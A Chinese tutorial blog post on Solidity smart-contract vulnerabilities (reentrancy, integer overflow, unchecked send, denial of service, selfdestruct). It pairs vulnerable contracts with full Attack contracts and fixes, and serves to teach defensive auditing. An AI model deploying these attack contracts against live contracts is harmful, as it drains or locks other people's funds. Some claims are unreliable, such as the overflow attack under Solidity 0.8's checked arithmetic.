智能合约 -- 常规漏洞分析 + 实例

 1.重入攻击

漏洞分析

攻击者利用合约漏洞,通过fallback()或者receive()函数进行函数递归进行持续取钱。

刚才试了一下可以递归10次,貌似就结束了(version: 0.8.20)。

直接看代码:

  • 银行合约:有存钱、取钱、查看账户余额等函数。
  • 攻击合约: 攻击、以及合约接受以太币就触发的receive()函数。

分析 : 攻击者通过Attack 合约调用attack()接口,先存钱,后进行取钱;那么Bank会向该合约发送以太币,进而触发Attack合约的 receive()函数,然后又进行取钱操作,由于形成递归操作,Bank合约的withdraw()接口的,账户置0操作无法执行,从而形成无限递归。

// SPDX-License-Identifier: MIT
pragma solidity >= 0.8.0 <= 0.9.0;contract Bank {mapping (address => uint) public balances; // 账户 => 余额// 存钱函数function desposit() public payable { require(msg.value >0, "save money cannot be zero");balances[msg.sender] += msg.value;}// 取钱函数function withdraw() public{require(balances[msg.sender] >0,"balance is not exists");(bool success,) =   msg.sender.call{value:balances[msg.sender]}(""); // 递归下面的操作必须等待递归之后才能执行balances[msg.sender] = 0; // 置0 操作}// 查看账户余额function getBalance() public view  returns(uint){return balances[msg.sender];}}contract Attack {Bank public bank;constructor( address _bankAddress){bank = Bank(_bankAddress);}// 攻击函数function attack() public payable {bank.desposit{value:msg.value}();bank.withdraw();}receive() external payable {if(address(bank).balance >0){ //如果银行合约还有钱持续调用bank.withdraw();}}
}

漏洞解决

1. 采用更为安全的转账函数

原理:函数的执行会消耗gas,如果可支付gas不满足 递归消耗的gas,从而报错进行合约状态回滚。

<address>.transfer():发送失败则回滚交易状态,只传递 2300 Gas 供调用,防止重入。
<address>.send():发送失败则返回 false,只传递 2300 Gas 供调用,防止重入。
<address>.call():发送失败返回 false,会传递所有可用 Gas 给予外部合约 fallback() 调用;可通过 { value: money } 限制 Gas,不能有效防止重入。

payable 标识符

在函数上添加 payable 标识,即可接受 Ether,并将其存储在当前合约中。

2.互斥锁

原理: 第一去取钱,状态变量修改为true,从而将函数锁住,必须等这次函数执行完毕,才能重新对函数进行调用。

3. 先将账户余额置0,再转账

原理: 先账户置0,就算转账触发递归,再次取钱 ,由于账户余额小于0,会直接抛异常。(当攻击这利用Attack合约攻击已修复好Bank合约,按道理能触发递归,接着会报 "balance is not exists",但是他却能正常执行,但是重入没触发,钱存到Bank里,没有拿回来。)

2.整形溢出

漏洞分析

算术溢出(arithmetic overflow)或简称为溢出(overflow)是指在

计算机领域里所发生的。运行单项数值计算时,当计算产生出来的

结果大于寄存器或存储器所能存储或表示的能力限制的情况就称为

算术上溢。反之,称为算术下溢。

我的理解:输入的数字超过计编程语言的数据类型设置的最大范围,表现出的数字跟预想数字不一致。

举例: 一个数据类型A取值范围是 0- 5 ,那么3 - 3 = ? 对于数据类型A的结果是多少?

我们可以把 0 - 5看成一个圈,  A的最小值是0, 那么 -1 就是5,  那么-3 就是3;

3 + 3 = 6,由于A最大值5,溢出之后, 6 -> 0。

看代码:

// SPDX-License-Identifier: MIT
pragma solidity >= 0.8.0 <= 0.9.0;contract TimeLock {mapping(address => uint) public balances;mapping(address => uint) public lockTime;// 存钱并且冻结账户一周function deposit() public  payable {balances[msg.sender] += msg.value;lockTime[msg.sender] = block.timestamp + 1 weeks;}// 增加冻结时间function addLcokTime(uint _time) public {lockTime[msg.sender] += _time;}// 取钱function withdraw() public {require(balances[msg.sender] > 0, "balance cannot be zrro");require(block.timestamp > lockTime[msg.sender] , " account is still frozen");uint _value = balances[msg.sender];balances[msg.sender] = 0;(bool success,) = msg.sender.call{value:_value}("");}}contract Attack{receive() external payable {}TimeLock public timelock;constructor(address _timelock) {timelock = TimeLock(_timelock);}function attack() public payable {timelock.deposit();timelock.addLcokTime(type(uint).max + 1 - timelock.lockTime(address(this))
// 传入uint 最大 + 1 ,溢出变成0, - timelock.lockTime(address(this)) 与拿到map里的冻结时间,与原先冻结时间,相加溢出也变成0.  6 -6 =0 );timelock.withdraw();}
}

漏洞解决

其实引入SafaMath库.参考这篇博客,其实原理很简单。

solidity合约开发-SafeMath_北纬32.6的博客-CSDN博客

我们把TimeLock 合约修改如下:

我们通过将2个值相加的结果,与 2个值进行比较,如果a + b发生溢出,那么 c 会小于a 或者b,从而抛出异常无法执行。

 contract TimnLock {......function sum(uint a, uint b) public pure returns(uint){uint c = a + b;require(c >=a && c >= b, "overflow is trigger!");return c;}
......}

3. 未检查返回值

漏洞分析

在soldity中,像send、call、callcodedelegatecallstaticcal这些低级函数,会产生返回值作为执行结果,如果我们没有对其返回值进行判断很容易发生逻辑错误。

看下面代码:

我们Lotton合约中sendTowinner()并没有对send()的结果进行处理。

假如,我们没有赞助商通过deposit()赞助奖金,那么 send()函数会因为当前合约balance为0,没有足够eth转账,从而返回false。接着 payedOut 变为true。getWinAmount()进而能正常调用。但这并不是我们希望看到的。

我们希望send()成功,接着 payedOut 变为true,最后公开金额数量。

contract Lotto{bool public payedOut = false;address public winner; // 获胜者uint private  winAmount  = 10000; // 获胜金额// 2.向获胜者发送奖金function sendTowinner(address _addr) public {require(!payedOut);winner = _addr;payable(winner).send(winAmount);payedOut = true; }// 3. 向外进公开获胜者的金额数量function getWinAmount() public  view returns(uint){require(payedOut);return winAmount;}// 1.赞助商赞助奖金function desposit() public payable {winAmount = msg.value;}}

漏洞解决

   // 向获胜者发送奖金function sendTowinner(address _addr) public {require(!payedOut);winner = _addr;bool success =  payable(winner).send(winAmount); // payable(winner).transfer(winAmount); ,失败直接会报错require(success,"send falied");payedOut = true; }

4.拒绝服务

我的理解:在soldiity里,拒绝服务漏洞可以简单理解为,因为合约内部或者外部账户操作,致使合约中的函数能大量消耗gas 和Ether或者不能被访问,从而使该函数无法正常执行。

举个例子:超市有三个收银点,正常来说人们排队在收银点进行扫码支 付,但是有一天网络出现了问题,所有收银点的顾客扫码支付都失败了, 而后面的人也不能进行支付买单,就导致了收银点的堵塞,超市不能正常 运营。又或者,在支付时有顾客故意闹事,使得后面的顾客也不能去支 付,这同样也会导致超市不能运营。我们可以看到有来自内部的,还有来 自外部的,都是可能会造成拒绝服务攻击。

1.在外部操控映射或者数组循环

这种情况一般是由于映射或数组循环在外部能被其他人操控,由于映射或数组没有长度没有被限制,从而导致大量消耗Ether和Gas。

看代码:

// SPDX-License-Identifier: MIT
pragma solidity >= 0.8.0 <= 0.9.0;
/*
*@tile: 分发代币
*/
contract DistributeTokens{uint public amount;address public owner;address[] public investors; // 投资者数组uint[] public investorTokens; // 每个投资者的tokenuint currentIndex; event Transfer(address _from, uint _amount); // 转让代币触发的事件constructor(){owner = msg.sender;}// 投资者调用,记录每个投资者的地址,和应该分发的代币function invest() public payable {investors.push(msg.sender);investorTokens.push(msg.value *5);}// 首次代币分发function distribute() public {require(msg.sender == owner);for (uint i =0;i < investors.length && gasleft() > 30000; i++) {transferToken(investors[i],investorTokens[i]);currentIndex = i;}}function transferToken(address _from,uint _amount) public {// 在这里执行代币转移操作,将代币从合约地址转移到投资者地址amount += _amount; // 记录总代币emit Transfer(_from,_amount);}}

在上面的代码片段中我们可以看到,distribute() 函数中会去遍历投资者数 组,但是合约的循环遍历数组是可以被外部的人进行人为扩充,如果有攻 击者要攻击这个合约,那么他可以创建多个账户加入投资者的数组,让 investors 的数据变得很大,大到让循环遍历数组所需的 gas 数量超过区块 gas 数量的上限,此时 distribute() 函数将无法正常操作,这样就会造成该 合约的拒绝服务攻击。

解决:如果合约必须通过一个变长数组进行转账,最好估计区块有多少笔交易,从而限制数组长度,另外必须追踪到能够进行到哪以便当操作失败开始从哪里恢复。

上面代码修改:

通过currentIndex 记录遍历数组当前索引,以便出异常查询。在循环中,加入gasleft()比较,从而限制gas的使用。

 2.所有者操作

在代币合约中,通常有一个owner账户,也就是合约所有者账户,其拥有开启和暂停交易的权限。如果owner地址缺失,导致非主观的拒绝服务攻击。

ICO 结束后,如果特权用户丢失,其私钥可能会变为非活动状

态,此时,无法调用 finalize() 函数开启交易,那么用户就一直不能发送代

币,合约也就不能进行正常操作了。

解决 : 不能特权用户权限作为唯一判断条件,从而导致整个合约瘫痪。

 

5. 自毁函数

漏洞分析

参考资料:

智能合约安全审计入门篇 —— 自毁函数 | 登链社区 | 区块链技术社区 (learnblockchain.cn)

首先,这个在0.8.21版本自毁函数不支持用了。

看下面代码,我们有一个存钱函数,每次只能存一个Ether,如果合约余额大于7个Ether就终止,合约balance == 7个Ether就选出获胜者,并且能赢得这个7个Ether。 

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;contract EtherGame {uint public targetAmount = 7 ether;address public winner;
// 存钱function deposit() public payable {require(msg.value == 1 ether, "You can only send 1 Ether");uint balance = address(this).balance;require(balance <= targetAmount, "Game is over");if (balance == targetAmount) {winner = msg.sender;}}// 获胜者取钱function claimReward() public {require(msg.sender == winner, "Not winner");(bool sent, ) = msg.sender.call{value: address(this).balance}("");require(sent, "Failed to send Ether");}
}

然后我们,再看漏洞代码,将attack()函数将合约自毁后,将剩余余额发送给EtherGame合约,

假如,我们上面合约余额正好 == 6eth时,攻击者通过自毁向game合约发送1eth 或大于1eth,那么game合约由于合约逻辑将无法选出获胜者,那么正常用户通过合约存进的以太币将全部打水漂。。

contract Attack {EtherGame ethergame;constructor(address _ethergame) {ethergame = EtherGame(_ethergame);}function attack() public payable {address payable adr = payable(address(ethergame));selfdestruct(adr);}
}

漏洞解决

不宜使用合约真实balance 来作为逻辑判断条件。

下方,我们定义合约余额变量来映射真实合约余额,就算攻击者再次利用自毁函数进行攻击,但由于合约余额变量并未改变将攻击失败。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/72619.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

收集的一些比较好的git网址

1、民间故事 https://github.com/folkstory/lingqiu/blob/master/%E4%BC%A0%E8%AF%B4%E9%83%A8%E5%88%86/%E4%BA%BA%E7%89%A9%E4%BC%A0%E8%AF%B4/%E2%80%9C%E6%B5%B7%E5%BA%95%E6%8D%9E%E6%9C%88%E2%80%9D%E7%9A%84%E6%AD%A6%E4%B8%BE.md 2、童话故事 https://gutenberg.org/c…

前端开发,怎么解决浏览器兼容性问题? - 易智编译EaseEditing

解决浏览器兼容性问题是前端开发中常见的挑战之一。不同的浏览器可能对网页元素的渲染和功能支持有所不同&#xff0c;因此需要采取一些策略来确保您的网页在不同浏览器上都能正常运行和呈现。以下是一些解决浏览器兼容性问题的方法和策略&#xff1a; 使用CSS Reset&#xff…

字节跳动测试岗面试挂在2面,复盘后,我总结了失败原因,决定再战一次...

先说下我基本情况&#xff0c;本科不是计算机专业&#xff0c;现在是学通信&#xff0c;然后做图像处理&#xff0c;可能面试官看我不是科班出身没有问太多计算机相关的问题&#xff0c;因为第一次找工作&#xff0c;字节的游戏专场又是最早开始的&#xff0c;就投递了&#xf…

后端返回图片资源错误404,前端使用默认图片

后端返回的图片资源可能会因为各种原因&#xff08;后台误删&#xff0c;地址更改未及时更新&#xff0c;损毁&#xff09;出现无法展示的情况&#xff0c;比如这种报错 就会导致图片资源错误&#xff0c;页面出现这种情况 用户体验很不好&#xff0c;为了改善这种情况&#xf…

流弊的docker

docker就是隔离式运行软件组&#xff08;多个软件&#xff09;&#xff0c;docker分为dockerfile文件&#xff0c;images 镜像&#xff0c;容器&#xff0c;本地仓库&#xff0c;远程仓库。 构建dockerFile文件&#xff0c;可以获得images镜像 运行镜像获得容器 || 容器提交获得…

Spring Bean的生命周期总结(包含面试题)

目录 一、Bean的初始化过程 1. 加载Spring Bean 2. 解析Bean的定义 3. Bean属性定义 4. BeanFactoryPostProcessor 扩展接口 5. 实例化Bean对象 6. Aware感知 7. 初始化方法 8. 后置处理 9. destroy 销毁 二、Bean的单例与多例模式 2.1 单例模式&#xff08;Sin…

小航助学GESP_C++一级模拟测试卷第3套(含题库答题软件账号)

需要在线模拟训练的题库账号请点击 小航助学编程在线模拟试卷系统&#xff08;含题库答题软件账号&#xff09;_程序猿下山的博客-CSDN博客 需要在线模拟训练的题库账号请点击 小航助学编程在线模拟试卷系统&#xff08;含题库答题软件账号&#xff09;_程序猿下山的博客-CSD…

05-微信小程序常用组件-表单组件

05-微信小程序常用组件-表单组件 文章目录 表单组件button 按钮案例代码 form 表单案例代码 image 图片支持长按识别的码案例代码 微信小程序包含了六大组件&#xff1a; 视图容器、 基础内容、 导航、 表单、 互动和 导航。这些组件可以通过WXML和WXSS进行布局和样式设…

计算机视觉的应用10-图片中的表格结构识别与提取实战

大家好&#xff0c;我是微学AI&#xff0c;今天给大家介绍一下计算机视觉的应用10-图片中的表格结构识别与提取实战&#xff0c;表格结构识别在信息处理领域中具有广泛应用&#xff0c;但由于表格的多样性和复杂性&#xff0c;以及难以准确解析的布局和格式&#xff0c;传统的方…

C#__使用Type类反射数据的基本用法

// 简单介绍 // 元数据&#xff08;metadata&#xff09;&#xff1a;与程序及其类型有关的数据。 // 反射&#xff1a;一个运行的程序查看本身元数据或其他程序集中的元数据的行为 // Assembly类&#xff1a;允许访问给定程序集的元数据&#xff0c;包含了可以加载和执行程序…

类与对象(上)

类与对象&#xff08;上&#xff09; 一、面向过程和面向对象的区别二、类1、类的引入2、类的定义&#xff08;1&#xff09;类的基本定义&#xff08;2&#xff09;类的成员函数的定义方法 3、类的访问限定符4、封装5、驼峰法命名规则6、类的作用域7、类的实例化&#xff08;1…

TCP服务器实现—多进程版,多线程版,线程池版

目录 前言 1.存在的问题 2.多进程版 3.多线程版 4.线程池版 总结 前言 在上一篇文章中使用TCP协议实现了一个简单的服务器&#xff0c;可以用来服务端和客户端通信&#xff0c;但是之前的服务器存在一个问题&#xff0c;就是当有多个客户端连接服务器的时候&#xff0c;服…